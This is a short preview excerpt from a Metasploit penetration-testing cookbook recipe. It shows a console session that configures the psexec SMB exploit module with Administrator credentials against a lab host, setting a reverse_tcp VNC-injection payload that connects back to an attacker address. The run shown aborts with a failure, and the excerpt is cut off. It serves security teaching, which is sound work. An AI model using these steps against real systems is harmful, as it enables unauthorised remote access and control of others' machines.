How to do it...

We will use the Microsoft Windows Authenticated User Code Execution exploit module with the windows/vncinject/reverse_tcp payload for injecting the VNC server remotely:

msf > use exploit/windows/smb/psexecmsf exploit(psexec) > set SMBUSER AdministratorSMBUSER => Administratormsf exploit(psexec) > set SMBPASS vagrantSMBPASS => vagrantmsf exploit(psexec) > set RHOST 192.168.216.10RHOST => 192.168.216.10msf exploit(psexec) > set PAYLOAD windows/vncinject/reverse_tcpPAYLOAD => windows/vncinject/reverse_tcpmsf exploit(psexec) > set LHOST 192.168.216.5LHOST => 192.168.216.5msf exploit(psexec) > exploit ...[-] 192.168.216.10:445 - Exploit aborted due to failure: unknown: 192.168.216.10:445 - Unable to execute specified command: The ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.